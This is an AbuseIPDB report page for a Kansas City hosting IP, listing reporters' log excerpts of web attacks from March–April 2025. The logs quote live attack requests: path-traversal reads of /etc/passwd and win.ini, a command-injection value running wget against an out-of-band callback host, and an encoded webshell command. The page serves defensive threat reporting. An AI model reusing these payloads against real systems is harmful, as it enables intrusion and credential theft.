JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 198.204.240.82

198.204.240.82 was found in our database!

This IP was reported 22 times. Confidence of Abuse is 0%: ?

ISP	Nocix, LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS33387
Domain Name	nocix.net
Country	🇺🇸 United States of America
City	Kansas City, Missouri

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 198.204.240.82

Whois 198.204.240.82

IP Abuse Reports for 198.204.240.82:

This IP address has been reported a total of 22 times from 6 distinct sources. 198.204.240.82 was first reported on March 23rd 2025, and the most recent report was 1 year ago.

Old Reports: The most recent abuse report for this IP address is from 1 year ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇷 TM	2025-04-04 18:06:00 (1 year ago)	GET /..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1	Hacking Web App Attack
🇵🇭 albert uy	2025-04-03 02:10:00 (1 year ago)	Apache Log4j Remote Code Execution Vulnerability	Web App Attack
Anonymous	2025-04-02 11:52:08 (1 year ago)	Excessive connections to http/https ports	DDoS Attack
🇧🇷 ufn.edu.br	2025-04-01 15:54:19 (1 year ago)	[Tue Apr 01 12:53:59.943274 2025] [authz_core:error] [pid 14148] [client 198.204.240.82:59724] AH016 ... show more [Tue Apr 01 12:53:59.943274 2025] [authz_core:error] [pid 14148] [client 198.204.240.82:59724] AH01630: client denied by server configuration: /var/www/html/server-status [Tue Apr 01 12:54:00.891614 2025] [authz_core:error] [pid 18151] [client 198.204.240.82:59277] AH01630: client denied by server configuration: /var/www/server-status [Tue Apr 01 12:54:18.887594 2025] [authz_core:error] [pid 18948] [client 198.204.240.82:50301] AH01630: client denied by server configuration: /var/www/html/server-status ... show less	Exploited Host Web App Attack
Anonymous	2025-03-31 22:17:00 (1 year ago)	/?action=command&command=set_city_timezone&value=$(wget%20http://cvfdsupjbin1nf2glp8g4rbqttqnsxta8.o ... show more /?action=command&command=set_city_timezone&value=$(wget%20http://cvfdsupjbin1nf2glp8g4rbqttqnsxta8.oast.fun)) show less	Web App Attack
🇧🇷 ufn.edu.br	2025-03-31 20:41:16 (1 year ago)	[Mon Mar 31 17:41:15.262108 2025] [access_compat:error] [pid 27486] [client 198.204.240.82:54306] AH ... show more [Mon Mar 31 17:41:15.262108 2025] [access_compat:error] [pid 27486] [client 198.204.240.82:54306] AH01797: client denied by server configuration: /var/www/html/phpinfo.php [Mon Mar 31 17:41:15.262319 2025] [access_compat:error] [pid 14087] [client 198.204.240.82:54439] AH01797: client denied by server configuration: /var/www/html/index.php [Mon Mar 31 17:41:15.262367 2025] [access_compat:error] [pid 24598] [client 198.204.240.82:54435] AH01797: client denied by server configuration: /var/www/html/info.php ... show less	Exploited Host Web App Attack
🇧🇷 SvrAdmin	2025-03-31 13:32:44 (1 year ago)	[101] (cpanel) Failed cPanel login from 198.204.240.82 (US/United States/-): 5 in the last 3600 secs ... show more [101] (cpanel) Failed cPanel login from 198.204.240.82 (US/United States/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_CPANEL; Logs: [2025-03-31 10:32:37 -0300] info [cpaneld] 198.204.240.82 - guest "GET /log_download.cgi?type=../../etc/passwd HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user [2025-03-31 10:32:37 -0300] info [cpaneld] 198.204.240.82 - guest "POST /tools.cgi HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user [2025-03-31 10:32:37 -0300] info [cpaneld] 198.204.240.82 - guest "GET /backup2.cgi HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user [2025-03-31 10:32:38 -0300] info [cpaneld] 198.204.240.82 - admin "GET /log_download.cgi?type=../../etc/passwd HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user [2025-03-31 10:32:38 -0300] info [cpaneld] 198.204.240.82 - admin "POST /tools.cgi HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user show less	Port Scan Hacking Brute-Force Exploited Host
🇧🇷 ufn.edu.br	2025-03-30 15:24:12 (1 year ago)	[Sun Mar 30 12:24:11.289878 2025] [:error] [pid 21389] [client 198.204.240.82:61499] script '/var/ww ... show more [Sun Mar 30 12:24:11.289878 2025] [:error] [pid 21389] [client 198.204.240.82:61499] script '/var/www/index.php' not found or unable to stat [Sun Mar 30 12:24:11.779748 2025] [:error] [pid 21389] [client 198.204.240.82:50675] script '/var/www/index.php' not found or unable to stat [Sun Mar 30 12:24:11.782779 2025] [:error] [pid 21402] [client 198.204.240.82:50828] script '/var/www/index.php' not found or unable to stat ... show less	Exploited Host Web App Attack
🇧🇷 ufn.edu.br	2025-03-28 18:43:35 (1 year ago)	[Fri Mar 28 15:43:34.562850 2025] [:error] [pid 8872] [client 198.204.240.82] ModSecurity: Access de ... show more [Fri Mar 28 15:43:34.562850 2025] [:error] [pid 8872] [client 198.204.240.82] ModSecurity: Access denied with code 400 (phase 2). Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "54"] [id "200001"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ws12vmsma01.ufn.edu.br"] [uri "/nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml"] [unique_id "Z@bt1n8AAAEAACKocLwAAAAH"] ... show less	DDoS Attack Web App Attack
🇧🇷 ufn.edu.br	2025-03-28 13:23:23 (1 year ago)	[Fri Mar 28 10:23:22.817593 2025] [access_compat:error] [pid 19707] [client 198.204.240.82:52964] AH ... show more [Fri Mar 28 10:23:22.817593 2025] [access_compat:error] [pid 19707] [client 198.204.240.82:52964] AH01797: client denied by server configuration: /var/www/html/xmlrpc.php [Fri Mar 28 10:23:22.822886 2025] [access_compat:error] [pid 32578] [client 198.204.240.82:51755] AH01797: client denied by server configuration: /var/www/html/info.php [Fri Mar 28 10:23:22.823018 2025] [access_compat:error] [pid 32584] [client 198.204.240.82:52972] AH01797: client denied by server configuration: /var/www/html/cpanel.php ... show less	Exploited Host Web App Attack
🇧🇷 TM	2025-03-27 13:22:00 (1 year ago)	GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1	Hacking Web App Attack
🇧🇷 ufn.edu.br	2025-03-27 06:43:02 (1 year ago)	[Thu Mar 27 03:42:59.457950 2025] [:error] [pid 29769] [client 198.204.240.82] ModSecurity: Access d ... show more [Thu Mar 27 03:42:59.457950 2025] [:error] [pid 29769] [client 198.204.240.82] ModSecurity: Access denied with code 400 (phase 2). Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "54"] [id "200001"] [msg "Failed to parse request body."] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [hostname "ws12vmsma01.ufn.edu.br"] [uri "/inc/jquery/uploadify/uploadify.php"] [unique_id "Z@Tzc38AAAEAAHRJq3UAAAAC"] ... show less	DDoS Attack Web App Attack
🇧🇷 ufn.edu.br	2025-03-26 23:17:05 (1 year ago)	[Wed Mar 26 20:17:04.380853 2025] [:error] [pid 9203] [client 198.204.240.82:57961] script '/var/www ... show more [Wed Mar 26 20:17:04.380853 2025] [:error] [pid 9203] [client 198.204.240.82:57961] script '/var/www/index.php' not found or unable to stat [Wed Mar 26 20:17:04.381116 2025] [:error] [pid 2247] [client 198.204.240.82:57974] script '/var/www/index.php' not found or unable to stat [Wed Mar 26 20:17:04.534943 2025] [:error] [pid 21201] [client 198.204.240.82:58007] script '/var/www/index.php' not found or unable to stat ... show less	Exploited Host Web App Attack
🇧🇷 ufn.edu.br	2025-03-26 21:38:38 (1 year ago)	[Wed Mar 26 18:37:06.920228 2025] [access_compat:error] [pid 21191] [client 198.204.240.82:49503] AH ... show more [Wed Mar 26 18:37:06.920228 2025] [access_compat:error] [pid 21191] [client 198.204.240.82:49503] AH01797: client denied by server configuration: /var/www/html/index.php [Wed Mar 26 18:38:37.387731 2025] [access_compat:error] [pid 2247] [client 198.204.240.82:59021] AH01797: client denied by server configuration: /var/www/html/index.php [Wed Mar 26 18:38:37.389581 2025] [access_compat:error] [pid 9203] [client 198.204.240.82:59073] AH01797: client denied by server configuration: /var/www/html/index.php ... show less	Exploited Host Web App Attack
Anonymous	2025-03-26 19:02:00 (1 year ago)	98.204.240.82 - - [26/Mar/2025:03:30:24 +0000] "GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76 ... show more 98.204.240.82 - - [26/Mar/2025:03:30:24 +0000] "GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1" 301 828 "-" "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" show less	Web App Attack

Showing 1 to 15 of 22 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇧🇷 189.78.103.194

🇮🇹 79.11.97.83

🇺🇸 69.250.201.179

🇧🇪 34.62.112.108

🇯🇵 8.211.136.6

🇺🇦 194.28.197.127

🇺🇸 191.101.33.114

🇺🇸 72.217.6.103

🇺🇸 65.49.1.206

🇰🇷 59.16.192.32

🇮🇳 49.204.74.149

🇸🇬 47.84.108.75

🇷🇺 46.63.175.81

🇧🇷 45.5.252.250

🇺🇸 20.118.24.61

🇬🇧 2a06:4880:c000::f2

🇺🇸 147.185.132.181

🇷🇴 141.98.83.240

🇺🇸 99.92.204.97

🇮🇹 93.92.72.11